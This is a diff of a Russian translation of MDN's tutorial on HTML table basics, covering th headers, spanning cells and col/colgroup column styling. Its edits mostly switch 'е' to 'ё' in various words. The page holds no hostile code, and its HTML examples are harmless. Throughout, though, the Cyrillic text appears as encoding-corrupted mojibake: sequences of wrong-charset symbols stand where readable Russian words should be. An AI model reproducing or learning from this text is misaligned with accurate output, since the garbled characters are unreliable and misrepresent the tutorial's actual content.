ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, для Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ Π½ΡƒΠΆΠ½Ρ‹, возьмСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Π‘Π½Π°Ρ‡Π°Π»Π° исходный ΠΊΠΎΠ΄:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ обратимся ΠΊ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ β€” особым ячСйкам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ Π²Π½Π°Ρ‡Π°Π»Π΅ строки ΠΈΠ»ΠΈ столбца ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТит данная строка ΠΈΠ»ΠΈ столбСц (ΠΊΠ°ΠΊ "Person" ΠΈ "Age" Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, для Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ Π½ΡƒΠΆΠ½Ρ‹, Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Π‘Π½Π°Ρ‡Π°Π»Π° исходный ΠΊΠΎΠ΄:</p>
<pre class="brush: html notranslate">&lt;table&gt;
&lt;tr&gt;
@@ -262,7 +262,7 @@ translation_of: Learn/HTML/Tables/Basics
</tbody>
</table>
-<p>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, хотя Π²Ρ‹ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΎ Ρ‡Π΅ΠΌ ΠΈΠ΄Π΅Ρ‚ Ρ€Π΅Ρ‡ΡŒ, ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° эти Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅Β Ρ‚Π°ΠΊ Π»Π΅Π³ΠΊΠΎ, ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Π±Ρ‹. Π›ΡƒΡ‡ΡˆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ строка ΠΈ столбСц с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ ΠΊΠ°ΠΊ-Ρ‚ΠΎ Π²Ρ‹Π΄Π΅Π»ΡΠ»ΠΈΡΡŒ.</p>
+<p>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, хотя Π²Ρ‹ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΎ Ρ‡Π΅ΠΌ ΠΈΠ΄Ρ‘Ρ‚ Ρ€Π΅Ρ‡ΡŒ, ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° эти Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅Β Ρ‚Π°ΠΊ Π»Π΅Π³ΠΊΠΎ, ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Π±Ρ‹. Π›ΡƒΡ‡ΡˆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ строка ΠΈ столбСц с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ ΠΊΠ°ΠΊ-Ρ‚ΠΎ Π²Ρ‹Π΄Π΅Π»ΡΠ»ΠΈΡΡŒ.</p>
<h3 id="Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ">Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅: Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</h3>
@@ -270,7 +270,7 @@ translation_of: Learn/HTML/Tables/Basics
<ol>
<li>Π‘Π½Π°Ρ‡Π°Π»Π° создайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. HTML содСрТит ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Dogs, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅.</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΈ сСмантичСски, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <strong><code><a href="/en-US/docs/Web/HTML/Element/th">&lt;th&gt;</a></code></strong> ('th' сокращСниС ΠΎΡ‚ 'table header'). Он Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² точности ΠΊΠ°ΠΊ <code>&lt;td&gt;</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π° Π½Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ ячСйку. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π² своСм HTML всС элСмСнты <code>&lt;td&gt;</code>, содСрТащиС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½Π° элСмСнты <code>&lt;th&gt;</code>.</li>
+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΈ сСмантичСски, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <strong><code><a href="/en-US/docs/Web/HTML/Element/th">&lt;th&gt;</a></code></strong> ('th' сокращСниС ΠΎΡ‚ 'table header'). Он Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² точности ΠΊΠ°ΠΊ <code>&lt;td&gt;</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π° Π½Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ ячСйку. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π² своём HTML всС элСмСнты <code>&lt;td&gt;</code>, содСрТащиС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½Π° элСмСнты <code>&lt;th&gt;</code>.</li>
<li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ HTML ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ выглядят ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ.</li>
</ol>
@@ -283,14 +283,14 @@ translation_of: Learn/HTML/Tables/Basics
<p>ΠœΡ‹ ΡƒΠΆΠ΅ частично ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠ»ΠΈ Π½Π° этот вопрос β€” ΠΊΠΎΠ³Π΄Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚ΡΡ, Π»Π΅Π³Ρ‡Π΅ ΠΈΡΠΊΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Π° выглядит Π»ΡƒΡ‡ΡˆΠ΅.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ примСняСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ β€” ΠΎΠ½ΠΈ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ ΠΈ Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Ρ‹ ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π»ΠΈ для Π½ΠΈΡ… ΡΡ‚ΠΈΠ»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ примСняСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ β€” ΠΎΠ½ΠΈ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ ΠΈ Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Ρ‹ ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π»ΠΈ для Π½ΠΈΡ… ΡΡ‚ΠΈΠ»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ.</p>
</div>
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π΄Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ прСимущСство β€” вмСстС с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>scope</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅) ΠΎΠ½ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ связь ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° со всСми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ строки ΠΈΠ»ΠΈ столбца ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Ρ‡Ρ‚ΠΎ довольно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ</p>
<h2 id="БлияниС_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_строк_ΠΈΠ»ΠΈ_столбцов">БлияниС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк ΠΈΠ»ΠΈ столбцов</h2>
-<p>Иногда Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ячСйки Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΠ»ΠΈΡΡŒ Π½Π° нСсколько строк ΠΈΠ»ΠΈ столбцов. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ ΠΈΠΌΠ΅Π½Π° ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…. Иногда Π±Ρ‹Π²Π°Π΅Ρ‚ Π½ΡƒΠΆΠ½ΠΎ вывСсти ΠΈΠΌΠ΅Π½Π° людСй рядом с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…. А ΠΈΠ½ΠΎΠ³Π΄Π° это Π½Π΅ трСбуСтся, ΠΈ Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ имя ΠΆΠΈΠ²ΠΎΡ‚Π½ΠΎΠ³ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π»ΠΎ всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</p>
+<p>Иногда Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ячСйки Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΠ»ΠΈΡΡŒ Π½Π° нСсколько строк ΠΈΠ»ΠΈ столбцов. Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ ΠΈΠΌΠ΅Π½Π° ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…. Иногда Π±Ρ‹Π²Π°Π΅Ρ‚ Π½ΡƒΠΆΠ½ΠΎ вывСсти ΠΈΠΌΠ΅Π½Π° людСй рядом с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…. А ΠΈΠ½ΠΎΠ³Π΄Π° это Π½Π΅ трСбуСтся, ΠΈ Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ имя ΠΆΠΈΠ²ΠΎΡ‚Π½ΠΎΠ³ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π»ΠΎ всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</p>
<p>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° выглядит Ρ‚Π°ΠΊ:</p>
@@ -372,7 +372,7 @@ translation_of: Learn/HTML/Tables/Basics
<p>И послСдняя Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ рассказываСтся Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅. HTML позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΡΡ‚ΠΈΠ»ΡŒ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΊ Ρ†Π΅Π»ΠΎΠΌΡƒ столбцу Π΄Π°Π½Π½Ρ‹Ρ… сразу β€” для этого ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ элСмСнты  <strong><code><a href="/en-US/docs/Web/HTML/Element/col">&lt;col&gt;</a></code></strong> ΠΈ <strong><code><a href="/en-US/docs/Web/HTML/Element/colgroup">&lt;colgroup&gt;</a></code></strong>. Π˜Ρ… Π²Π²Π΅Π»ΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слоТный сСлСктор Π²Ρ€ΠΎΠ΄Π΅ {{cssxref(":nth-child()")}} Π±Ρ‹Π»ΠΎ Π±Ρ‹ слишком ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
-<p>Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;table&gt;
&lt;tr&gt;
@@ -389,7 +389,7 @@ translation_of: Learn/HTML/Tables/Basics
&lt;/tr&gt;
&lt;/table&gt;</pre>
-<p>Π§Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ:</p>
+<p>Π§Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ:</p>
<table>
<tbody>
@@ -408,7 +408,7 @@ translation_of: Learn/HTML/Tables/Basics
</tbody>
</table>
-<p>Он Π½Π΅ ΠΈΠ΄Π΅Π°Π»Π΅Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС для всСх Ρ‚Ρ€Π΅Ρ… ячССк Π² столбцС (Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ <code>class</code> Π½Π° всСх Ρ‚Ρ€Π΅Ρ… ΠΈ Π²Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй). ВмСсто этого, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π² элСмСнтС <code>&lt;col&gt;</code>. <code>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ &lt;col&gt;</code> задаСтся Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ <code>&lt;colgroup&gt;</code> сразу ΠΆΠ΅ Π·Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;table&gt;</code>. Π­Ρ„Ρ„Π΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
+<p>Он Π½Π΅ ΠΈΠ΄Π΅Π°Π»Π΅Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС для всСх Ρ‚Ρ€Ρ‘Ρ… ячССк Π² столбцС (Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ <code>class</code> Π½Π° всСх Ρ‚Ρ€Ρ‘Ρ… ΠΈ Π²Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй). ВмСсто этого, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π² элСмСнтС <code>&lt;col&gt;</code>. <code>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ &lt;col&gt;</code> задаётся Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ <code>&lt;colgroup&gt;</code> сразу ΠΆΠ΅ Π·Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;table&gt;</code>. Π­Ρ„Ρ„Π΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<pre class="brush: html notranslate">&lt;table&gt;
&lt;colgroup&gt;
@@ -429,7 +429,7 @@ translation_of: Learn/HTML/Tables/Basics
&lt;/tr&gt;
&lt;/table&gt;</pre>
-<p>ΠœΡ‹ опрСдСляСм Π΄Π²Π° "ΡΡ‚ΠΈΠ»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΡ… столбца". ΠœΡ‹ Π½Π΅ примСняСм ΡΡ‚ΠΈΠ»ΡŒ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ столбцу, Π½ΠΎ пустой элСмСнт <code>&lt;col&gt;</code> ввСсти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ β€” ΠΈΠ½Π°Ρ‡Π΅ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ столбцу Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΡΡ‚ΠΈΠ»ΡŒ.</p>
+<p>ΠœΡ‹ опрСдСляСм Π΄Π²Π° "ΡΡ‚ΠΈΠ»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΡ… столбца". ΠœΡ‹ Π½Π΅ примСняСм ΡΡ‚ΠΈΠ»ΡŒ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ столбцу, Π½ΠΎ пустой элСмСнт <code>&lt;col&gt;</code> ввСсти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ β€” ΠΈΠ½Π°Ρ‡Π΅ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ столбцу Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΡΡ‚ΠΈΠ»ΡŒ.</p>
<p>Если Π±Ρ‹ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС ΠΊ ΠΎΠ±ΠΎΠΈΠΌ столбцам, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ просто ввСсти ΠΎΠ΄ΠΈΠ½ элСмСнт <code>&lt;col&gt;</code> с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ span, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -515,9 +515,9 @@ translation_of: Learn/HTML/Tables/Basics
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт <code>&lt;colgroup&gt;</code> Π²Π²Π΅Ρ€Ρ…Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, сразу ΠΆΠ΅ ΠΏΠΎΠ΄ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;table&gt;</code>, ΠΊΡƒΠ΄Π° Π²Ρ‹ смоТСтС Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ элСмСнты <code>&lt;col&gt;</code>.</li>
<li>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° столбца Π½Π°Π΄ΠΎ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π±Π΅Π· стиля..</li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ столбца. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>style</code> Π±ΡƒΠ΄Π΅Ρ‚Β  <code>background-color:#97DB9A;</code></li>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ для Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ³ΠΎ столбца. <code>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>width: 42px;</code></li>
